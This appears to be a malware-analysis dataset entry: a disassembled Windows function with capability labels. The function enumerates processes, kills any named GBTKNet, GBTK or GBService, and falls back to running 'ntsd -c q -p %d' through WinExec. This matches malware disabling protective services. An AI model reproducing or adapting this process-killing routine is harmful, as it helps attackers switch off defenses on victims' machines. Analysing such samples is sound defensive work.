Function at 0x4010c0
Capabilities:
Create process on windows
Enumerate processes
Get file system object information
Terminate process
Terminate process by name

Disassembly:
push 0xffffffffffffffff
push 0x4084ee
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x294
push str.GBTKNet
lea ecx, [esp + 0x2a8]
mov dword [esp + 0x2a0], 0
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x401132
mov al, byte [0x40c895]
test al, al
je 0x401132
lea ecx, [esp + 0x2a4]
mov dword [esp + 0x29c], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x294]
mov dword fs:[0], ecx
add esp, 0x2a0
ret
push str.GBTK
lea ecx, [esp + 0x2a8]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x40117e
mov al, byte [0x40c894]
test al, al
je 0x40117e
lea ecx, [esp + 0x2a4]
mov dword [esp + 0x29c], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x294]
mov dword fs:[0], ecx
add esp, 0x2a0
ret
push str.GBService
lea ecx, [esp + 0x2a8]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x4011ca
mov al, byte [0x40c896]
test al, al
je 0x4011ca
lea ecx, [esp + 0x2a4]
mov dword [esp + 0x29c], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x294]
mov dword fs:[0], ecx
add esp, 0x2a0
ret
lea ecx, [esp]
call fcn.004081e0
push 0
push 2
mov byte [esp + 0x2a4], 1
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
test eax, eax
mov dword [esp + 8], eax
jne 0x40122d
lea ecx, [esp]
mov byte [esp + 0x29c], al
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2a4]
mov dword [esp + 0x29c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
mov ecx, dword [esp + 0x294]
mov dword fs:[0], ecx
add esp, 0x2a0
ret
lea ecx, [esp + 0xc]
push ebx
push ecx
push eax
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x40138c
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WinExec]
push esi
push edi
push 0x101
lea edx, [esp + 0x148]
mov ecx, 0x58
xor eax, eax
lea edi, [esp + 0x148]
push 0x160
push edx
push eax
rep stosd dword es:[edi], eax
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
lea ecx, [esp + 0x40]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator_2
mov edx, dword [esp + 0x2b4]
lea ecx, [esp + 0x10]
push edx
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x401372
mov esi, dword [esp + 0x24]
push esi
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x401313
lea ecx, [esp + 0x14]
call fcn.004081e0
push esi
lea eax, [esp + 0x18]
push str.ntsd__c_q__p__d
push eax
mov byte [esp + 0x2b8], 2
call sub.MFC42.DLL_CString::Format
mov ecx, dword [esp + 0x20]
add esp, 0xc
push 0
push ecx
call ebp
push 0xbb8
call ebx
lea ecx, [esp + 0x14]
mov byte [esp + 0x2ac], 1
call sub.MFC42.DLL_CString::CString
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.GBTKNet
lea ecx, [esp + 0x2b8]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x401338
mov byte [0x40c895], 1
jmp 0x401372
push str.GBTK
lea ecx, [esp + 0x2b8]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x401356
mov byte [0x40c894], 1
jmp 0x401372
push str.GBService
lea ecx, [esp + 0x2b8]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x401372
mov byte [0x40c896], 1
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x1c]
push edx
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401258
pop edi
pop esi
pop ebp
push str.GBService
lea ecx, [esp + 0x2ac]
call sub.MFC42.DLL_CString::Find
test eax, eax
jl 0x4013a8
push 0x1770
jmp 0x4013ad
push 0xbb8
call ebx
lea ecx, [esp + 4]
mov byte [esp + 0x2a0], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2a8]
mov dword [esp + 0x2a0], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x298]
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x2a0
ret